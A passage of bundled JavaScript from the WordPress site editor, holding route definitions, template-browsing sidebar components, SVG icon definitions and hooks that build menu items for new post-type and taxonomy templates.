43854 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
43855 return !!categoryId ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsPatterns, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, { backPath });
43856 }
43857 }
43858};
43859
43860
43861;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pattern-item.js
43862
43863
43864
43865
43866const patternItemRoute = {
43867 name: "pattern-item",
43868 path: "/wp_block/:postId",
43869 areas: {
43870 sidebar({ siteData }) {
43871 const isBlockTheme = siteData.currentTheme?.is_block_theme;
43872 const backPath = isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? "/" : void 0;
43873 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, { backPath });
43874 },
43875 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
43876 preview: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
43877 }
43878};
43879
43880
43881;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-part-item.js
43882
43883
43884
43885const templatePartItemRoute = {
43886 name: "template-part-item",
43887 path: "/wp_template_part/*postId",
43888 areas: {
43889 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenPatterns, { backPath: "/" }),
43890 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}),
43891 preview: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {})
43892 }
43893};
43894
43895
43896;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/content.js
43897
43898
43899
43900
43901
43902
43903
43904
43905
43906
43907
43908
43909const { useLocation: content_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
43910const content_EMPTY_ARRAY = [];
43911function TemplateDataviewItem({ template, isActive }) {
43912 const { text, icon } = useAddedBy(template.type, template.id);
43913 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43914 SidebarNavigationItem,
43915 {
43916 to: (0,external_wp_url_namespaceObject.addQueryArgs)("/template", { activeView: text }),
43917 icon,
43918 "aria-current": isActive,
43919 children: text
43920 }
43921 );
43922}
43923function DataviewsTemplatesSidebarContent() {
43924 const {
43925 query: { activeView = "all" }
43926 } = content_useLocation();
43927 const { records } = (0,external_wp_coreData_namespaceObject.useEntityRecords)("postType", TEMPLATE_POST_TYPE, {
43928 per_page: -1
43929 });
43930 const firstItemPerAuthorText = (0,external_wp_element_.useMemo)(() => {
43931 const firstItemPerAuthor = records?.reduce((acc, template) => {
43932 const author = template.author_text;
43933 if (author && !acc[author]) {
43934 acc[author] = template;
43935 }
43936 return acc;
43937 }, {});
43938 return (firstItemPerAuthor && Object.values(firstItemPerAuthor)) ?? content_EMPTY_ARRAY;
43939 }, [records]);
43940 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-templates-browse", children: [
43941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43942 SidebarNavigationItem,
43943 {
43944 to: "/template",
43945 icon: layout_default,
43946 "aria-current": activeView === "all",
43947 children: (0,external_wp_i18n_namespaceObject.__)("All templates")
43948 }
43949 ),
43950 firstItemPerAuthorText.map((template) => {
43951 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43952 TemplateDataviewItem,
43953 {
43954 template,
43955 isActive: activeView === template.author_text
43956 },
43957 template.author_text
43958 );
43959 })
43960 ] });
43961}
43962
43963
43964;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-templates-browse/index.js
43965
43966
43967
43968
43969function SidebarNavigationScreenTemplatesBrowse({ backPath }) {
43970 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43971 SidebarNavigationScreen,
43972 {
43973 title: (0,external_wp_i18n_namespaceObject.__)("Templates"),
43974 description: (0,external_wp_i18n_namespaceObject.__)(
43975 "Create new templates, or reset any customizations made to the templates supplied by your theme."
43976 ),
43977 backPath,
43978 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataviewsTemplatesSidebarContent, {})
43979 }
43980 );
43981}
43982
43983
43984;// ./node_modules/@wordpress/icons/build-module/library/home.js
43985
43986
43987var home_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z" }) });
43988
43989
43990;// ./node_modules/@wordpress/icons/build-module/library/verse.js
43991
43992
43993var verse_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });
43994
43995
43996;// ./node_modules/@wordpress/icons/build-module/library/pin.js
43997
43998
43999var pin_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z" }) });
44000
44001
44002;// ./node_modules/@wordpress/icons/build-module/library/archive.js
44003
44004
44005var archive_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44006 external_wp_primitives_namespaceObject.Path,
44007 {
44008 fillRule: "evenodd",
44009 clipRule: "evenodd",
44010 d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z"
44011 }
44012) });
44013
44014
44015;// ./node_modules/@wordpress/icons/build-module/library/not-found.js
44016
44017
44018var not_found_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v10zm-11-7.6h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-.9 3.5H6.3l1.2-1.7v1.7zm5.6-3.2c-.4-.2-.8-.4-1.2-.4-.5 0-.9.1-1.2.4-.4.2-.6.6-.8 1-.2.4-.3.9-.3 1.5s.1 1.1.3 1.6c.2.4.5.8.8 1 .4.2.8.4 1.2.4.5 0 .9-.1 1.2-.4.4-.2.6-.6.8-1 .2-.4.3-1 .3-1.6 0-.6-.1-1.1-.3-1.5-.1-.5-.4-.8-.8-1zm0 3.6c-.1.3-.3.5-.5.7-.2.1-.4.2-.7.2-.3 0-.5-.1-.7-.2-.2-.1-.4-.4-.5-.7-.1-.3-.2-.7-.2-1.2 0-.7.1-1.2.4-1.5.3-.3.6-.5 1-.5s.7.2 1 .5c.3.3.4.8.4 1.5-.1.5-.1.9-.2 1.2zm5-3.9h-.7l-3.1 4.3h2.8V15h1v-1.3h.7v-.8h-.7V9.4zm-1 3.5H16l1.2-1.7v1.7z" }) });
44019
44020
44021;// ./node_modules/@wordpress/icons/build-module/library/list.js
44022
44023
44024var list_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z" }) });
44025
44026
44027;// ./node_modules/@wordpress/icons/build-module/library/block-meta.js
44028
44029
44030var block_meta_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44031 external_wp_primitives_namespaceObject.Path,
44032 {
44033 fillRule: "evenodd",
44034 d: "M8.95 11.25H4v1.5h4.95v4.5H13V18c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75h-2.55v-7.5H13V9c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75H8.95v4.5ZM14.5 15v3c0 .3.2.5.5.5h3c.3 0 .5-.2.5-.5v-3c0-.3-.2-.5-.5-.5h-3c-.3 0-.5.2-.5.5Zm0-6V6c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5Z",
44035 clipRule: "evenodd"
44036 }
44037) });
44038
44039
44040;// ./node_modules/@wordpress/icons/build-module/library/calendar.js
44041
44042
44043var calendar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z" }) });
44044
44045
44046;// ./node_modules/@wordpress/icons/build-module/library/tag.js
44047
44048
44049var tag_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z" }) });
44050
44051
44052;// ./node_modules/@wordpress/icons/build-module/library/media.js
44053
44054
44055var media_media_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
44056 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7 6.5 4 2.5-4 2.5z" }),
44057 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44058 external_wp_primitives_namespaceObject.Path,
44059 {
44060 fillRule: "evenodd",
44061 clipRule: "evenodd",
44062 d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"
44063 }
44064 )
44065] });
44066
44067
44068;// ./node_modules/@wordpress/icons/build-module/library/post.js
44069
44070
44071var post_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });
44072
44073
44074;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-template/utils.js
44075
44076
44077
44078
44079
44080
44081
44082
44083const EMPTY_OBJECT = {};
44084const utils_getValueFromObjectPath = (object, path) => {
44085 let value = object;
44086 path.split(".").forEach((fieldName) => {
44087 value = value?.[fieldName];
44088 });
44089 return value;
44090};
44091function prefixSlug(prefix, slug) {
44092 return `${prefix}-${(0,external_wp_url_namespaceObject.safeDecodeURI)(slug)}`;
44093}
44094const mapToIHasNameAndId = (entities, path) => {
44095 return (entities || []).map((entity) => ({
44096 ...entity,
44097 name: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(utils_getValueFromObjectPath(entity, path))
44098 }));
44099};
44100const useExistingTemplates = () => {
44101 return (0,external_wp_data_.useSelect)(
44102 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecords(
44103 "postType",
44104 TEMPLATE_POST_TYPE,
44105 {
44106 per_page: -1
44107 }
44108 ),
44109 []
44110 );
44111};
44112const useDefaultTemplateTypes = () => {
44113 return (0,external_wp_data_.useSelect)(
44114 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types || [],
44115 []
44116 );
44117};
44118const usePublicPostTypes = () => {
44119 const postTypes = (0,external_wp_data_.useSelect)(
44120 (select) => select(external_wp_coreData_namespaceObject.store).getPostTypes({ per_page: -1 }),
44121 []
44122 );
44123 return (0,external_wp_element_.useMemo)(() => {
44124 const excludedPostTypes = ["attachment"];
44125 return postTypes?.filter(
44126 ({ viewable, slug }) => viewable && !excludedPostTypes.includes(slug)
44127 ).sort((a, b) => {
44128 if (a.slug === "post" || b.slug === "post") {
44129 return 0;
44130 }
44131 return a.name.localeCompare(b.name);
44132 });
44133 }, [postTypes]);
44134};
44135const usePublicTaxonomies = () => {
44136 const taxonomies = (0,external_wp_data_.useSelect)(
44137 (select) => select(external_wp_coreData_namespaceObject.store).getTaxonomies({ per_page: -1 }),
44138 []
44139 );
44140 return (0,external_wp_element_.useMemo)(() => {
44141 return taxonomies?.filter(
44142 ({ visibility }) => visibility?.publicly_queryable
44143 );
44144 }, [taxonomies]);
44145};
44146function usePostTypeArchiveMenuItems() {
44147 const publicPostTypes = usePublicPostTypes();
44148 const postTypesWithArchives = (0,external_wp_element_.useMemo)(
44149 () => publicPostTypes?.filter((postType) => postType.has_archive),
44150 [publicPostTypes]
44151 );
44152 const existingTemplates = useExistingTemplates();
44153 const postTypeLabels = (0,external_wp_element_.useMemo)(
44154 () => publicPostTypes?.reduce((accumulator, { labels }) => {
44155 const singularName = labels.singular_name.toLowerCase();
44156 accumulator[singularName] = (accumulator[singularName] || 0) + 1;
44157 return accumulator;
44158 }, {}),
44159 [publicPostTypes]
44160 );
44161 const needsUniqueIdentifier = (0,external_wp_element_.useCallback)(
44162 ({ labels, slug }) => {
44163 const singularName = labels.singular_name.toLowerCase();
44164 return postTypeLabels[singularName] > 1 && singularName !== slug;
44165 },
44166 [postTypeLabels]
44167 );
44168 return (0,external_wp_element_.useMemo)(
44169 () => postTypesWithArchives?.filter(
44170 (postType) => !(existingTemplates || []).some(
44171 (existingTemplate) => existingTemplate.slug === "archive-" + postType.slug
44172 )
44173 ).map((postType) => {
44174 let title;
44175 if (needsUniqueIdentifier(postType)) {
44176 title = (0,external_wp_i18n_namespaceObject.sprintf)(
44177 // translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
44178 (0,external_wp_i18n_namespaceObject.__)("Archive: %1$s (%2$s)"),
44179 postType.labels.singular_name,
44180 postType.slug
44181 );
44182 } else {
44183 title = (0,external_wp_i18n_namespaceObject.sprintf)(
44184 // translators: %s: Name of the post type e.g: "Post".
44185 (0,external_wp_i18n_namespaceObject.__)("Archive: %s"),
44186 postType.labels.singular_name
44187 );
44188 }
44189 return {
44190 slug: "archive-" + postType.slug,
44191 description: (0,external_wp_i18n_namespaceObject.sprintf)(
44192 // translators: %s: Name of the post type e.g: "Post".
44193 (0,external_wp_i18n_namespaceObject.__)(
44194 "Displays an archive with the latest posts of type: %s."
44195 ),
44196 postType.labels.singular_name
44197 ),
44198 title,
44199 // `icon` is the `menu_icon` property of a post type. We
44200 // only handle `dashicons` for now, even if the `menu_icon`
44201 // also supports urls and svg as values.
44202 icon: typeof postType.icon === "string" && postType.icon.startsWith("dashicons-") ? postType.icon.slice(10) : archive_default,
44203 templatePrefix: "archive"
44204 };
44205 }) || [],
44206 [postTypesWithArchives, existingTemplates, needsUniqueIdentifier]
44207 );
44208}
44209const usePostTypeMenuItems = (onClickMenuItem) => {
44210 const publicPostTypes = usePublicPostTypes();
44211 const existingTemplates = useExistingTemplates();
44212 const defaultTemplateTypes = useDefaultTemplateTypes();
44213 const templateLabels = (0,external_wp_element_.useMemo)(
44214 () => publicPostTypes?.reduce((accumulator, { labels }) => {
44215 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44216 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
44217 return accumulator;
44218 }, {}),
44219 [publicPostTypes]
44220 );
44221 const needsUniqueIdentifier = (0,external_wp_element_.useCallback)(
44222 ({ labels, slug }) => {
44223 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44224 return templateLabels[templateName] > 1 && templateName !== slug;
44225 },
44226 [templateLabels]
44227 );
44228 const templatePrefixes = (0,external_wp_element_.useMemo)(
44229 () => publicPostTypes?.reduce((accumulator, { slug }) => {
44230 let suffix = slug;
44231 if (slug !== "page") {
44232 suffix = `single-${suffix}`;
44233 }
44234 accumulator[slug] = suffix;
44235 return accumulator;
44236 }, {}),
44237 [publicPostTypes]
44238 );
44239 const postTypesInfo = useEntitiesInfo("postType", templatePrefixes);
44240 const existingTemplateSlugs = (existingTemplates || []).map(
44241 ({ slug }) => slug
44242 );
44243 const menuItems = (publicPostTypes || []).reduce(
44244 (accumulator, postType) => {
44245 const { slug, labels, icon } = postType;
44246 const generalTemplateSlug = templatePrefixes[slug];
44247 const defaultTemplateType = defaultTemplateTypes?.find(
44248 ({ slug: _slug }) => _slug === generalTemplateSlug
44249 );
44250 const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
44251 const _needsUniqueIdentifier = needsUniqueIdentifier(postType);
44252 let menuItemTitle = labels.template_name || (0,external_wp_i18n_namespaceObject.sprintf)(
44253 // translators: %s: Name of the post type e.g: "Post".
44254 (0,external_wp_i18n_namespaceObject.__)("Single item: %s"),
44255 labels.singular_name
44256 );
44257 if (_needsUniqueIdentifier) {
44258 menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
44259 // translators: 1: Name of the template e.g: "Single Item: Post". 2: Slug of the post type e.g: "book".
44260 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "post type menu label"),
44261 labels.template_name,
44262 slug
44263 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
44264 // translators: 1: Name of the post type e.g: "Post". 2: Slug of the post type e.g: "book".
44265 (0,external_wp_i18n_namespaceObject._x)(
44266 "Single item: %1$s (%2$s)",
44267 "post type menu label"
44268 ),
44269 labels.singular_name,
44270 slug
44271 );
44272 }
44273 const menuItem = defaultTemplateType ? {
44274 ...defaultTemplateType,
44275 templatePrefix: templatePrefixes[slug]
44276 } : {
44277 slug: generalTemplateSlug,
44278 title: menuItemTitle,
44279 description: (0,external_wp_i18n_namespaceObject.sprintf)(
44280 // translators: %s: Name of the post type e.g: "Post".
44281 (0,external_wp_i18n_namespaceObject.__)("Displays a single item: %s."),
44282 labels.singular_name
44283 ),
44284 // `icon` is the `menu_icon` property of a post type. We
44285 // only handle `dashicons` for now, even if the `menu_icon`
44286 // also supports urls and svg as values.
44287 icon: typeof icon === "string" && icon.startsWith("dashicons-") ? icon.slice(10) : post_default,
44288 templatePrefix: templatePrefixes[slug]
44289 };
44290 const hasEntities = postTypesInfo?.[slug]?.hasEntities;
44291 if (hasEntities) {
44292 menuItem.onClick = (template) => {
44293 onClickMenuItem({
44294 type: "postType",
44295 slug,
44296 config: {
44297 recordNamePath: "title.rendered",
44298 queryArgs: ({ search }) => {
44299 return {
44300 _fields: "id,title,slug,link",
44301 orderBy: search ? "relevance" : "modified",
44302 exclude: postTypesInfo[slug].existingEntitiesIds
44303 };
44304 },
44305 getSpecificTemplate: (suggestion) => {
44306 const templateSlug = prefixSlug(
44307 templatePrefixes[slug],
44308 suggestion.slug
44309 );
44310 return {
44311 title: templateSlug,
44312 slug: templateSlug,
44313 templatePrefix: templatePrefixes[slug]
44314 };
44315 }
44316 },
44317 labels,
44318 hasGeneralTemplate,
44319 template
44320 });
44321 };
44322 }
44323 if (!hasGeneralTemplate || hasEntities) {
44324 accumulator.push(menuItem);
44325 }
44326 return accumulator;
44327 },
44328 []
44329 );
44330 const postTypesMenuItems = (0,external_wp_element_.useMemo)(
44331 () => menuItems.reduce(
44332 (accumulator, postType) => {
44333 const { slug } = postType;
44334 let key = "postTypesMenuItems";
44335 if (slug === "page") {
44336 key = "defaultPostTypesMenuItems";
44337 }
44338 accumulator[key].push(postType);
44339 return accumulator;
44340 },
44341 { defaultPostTypesMenuItems: [], postTypesMenuItems: [] }
44342 ),
44343 [menuItems]
44344 );
44345 return postTypesMenuItems;
44346};
44347const useTaxonomiesMenuItems = (onClickMenuItem) => {
44348 const publicTaxonomies = usePublicTaxonomies();
44349 const existingTemplates = useExistingTemplates();
44350 const defaultTemplateTypes = useDefaultTemplateTypes();
44351 const templatePrefixes = (0,external_wp_element_.useMemo)(
44352 () => publicTaxonomies?.reduce((accumulator, { slug }) => {
44353 let suffix = slug;
44354 if (!["category", "post_tag"].includes(slug)) {
44355 suffix = `taxonomy-${suffix}`;
44356 }
44357 if (slug === "post_tag") {
44358 suffix = `tag`;
44359 }
44360 accumulator[slug] = suffix;
44361 return accumulator;
44362 }, {}),
44363 [publicTaxonomies]
44364 );
44365 const taxonomyLabels = publicTaxonomies?.reduce(
44366 (accumulator, { labels }) => {
44367 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44368 accumulator[templateName] = (accumulator[templateName] || 0) + 1;
44369 return accumulator;
44370 },
44371 {}
44372 );
44373 const needsUniqueIdentifier = (labels, slug) => {
44374 if (["category", "post_tag"].includes(slug)) {
44375 return false;
44376 }
44377 const templateName = (labels.template_name || labels.singular_name).toLowerCase();
44378 return taxonomyLabels[templateName] > 1 && templateName !== slug;
44379 };
44380 const taxonomiesInfo = useEntitiesInfo("taxonomy", templatePrefixes);
44381 const existingTemplateSlugs = (existingTemplates || []).map(
44382 ({ slug }) => slug
44383 );
44384 const menuItems = (publicTaxonomies || []).reduce(
44385 (accumulator, taxonomy) => {
44386 const { slug, labels } = taxonomy;
44387 const generalTemplateSlug = templatePrefixes[slug];
44388 const defaultTemplateType = defaultTemplateTypes?.find(
44389 ({ slug: _slug }) => _slug === generalTemplateSlug
44390 );
44391 const hasGeneralTemplate = existingTemplateSlugs?.includes(generalTemplateSlug);
44392 const _needsUniqueIdentifier = needsUniqueIdentifier(
44393 labels,
44394 slug
44395 );
44396 let menuItemTitle = labels.template_name || labels.singular_name;
44397 if (_needsUniqueIdentifier) {
44398 menuItemTitle = labels.template_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
44399 // translators: 1: Name of the template e.g: "Products by Category". 2: Slug of the taxonomy e.g: "product_cat".
44400 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "taxonomy template menu label"),
44401 labels.template_name,
44402 slug
44403 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
44404 // translators: 1: Name of the taxonomy e.g: "Category". 2: Slug of the taxonomy e.g: "product_cat".
44405 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "taxonomy menu label"),
44406 labels.singular_name,
44407 slug
44408 );
44409 }
44410 const menuItem = defaultTemplateType ? {
44411 ...defaultTemplateType,
44412 templatePrefix: templatePrefixes[slug]
44413 } : {
44414 slug: generalTemplateSlug,
44415 title: menuItemTitle,
44416 description: (0,external_wp_i18n_namespaceObject.sprintf)(
44417 // translators: %s: Name of the taxonomy e.g: "Product Categories".
44418 (0,external_wp_i18n_namespaceObject.__)("Displays taxonomy: %s."),
44419 labels.singular_name
44420 ),
44421 icon: block_meta_default,
44422 templatePrefix: templatePrefixes[slug]
44423 };
44424 const hasEntities = taxonomiesInfo?.[slug]?.hasEntities;
44425 if (hasEntities) {
44426 menuItem.onClick = (template) => {
44427 onClickMenuItem({
44428 type: "taxonomy",
44429 slug,
44430 config: {
44431 queryArgs: ({ search }) => {
44432 return {
44433 _fields: "id,name,slug,link",
44434 orderBy: search ? "name" : "count",
44435 exclude: taxonomiesInfo[slug].existingEntitiesIds
44436 };
44437 },
44438 getSpecificTemplate: (suggestion) => {
44439 const templateSlug = prefixSlug(
44440 templatePrefixes[slug],
44441 suggestion.slug
44442 );
44443 return {
44444 title: templateSlug,
44445 slug: templateSlug,
44446 templatePrefix: templatePrefixes[slug]
44447 };
44448 }
44449 },
44450 labels,
44451 hasGeneralTemplate,
44452 template
44453 });
44454 };
44455 }
44456 if (!hasGeneralTemplate || hasEntities) {
44457 accumulator.push(menuItem);
44458 }
44459 return accumulator;
44460 },
44461 []
44462 );
44463 const taxonomiesMenuItems = (0,external_wp_element_.useMemo)(
44464 () => menuItems.reduce(
44465 (accumulator, taxonomy) => {
44466 const { slug } = taxonomy;
44467 let key = "taxonomiesMenuItems";
44468 if (["category", "tag"].includes(slug)) {
44469 key = "defaultTaxonomiesMenuItems";
44470 }
44471 accumulator[key].push(taxonomy);
44472 return accumulator;
44473 },
44474 { defaultTaxonomiesMenuItems: [], taxonomiesMenuItems: [] }
44475 ),
44476 [menuItems]
44477 );
44478 return taxonomiesMenuItems;
44479};
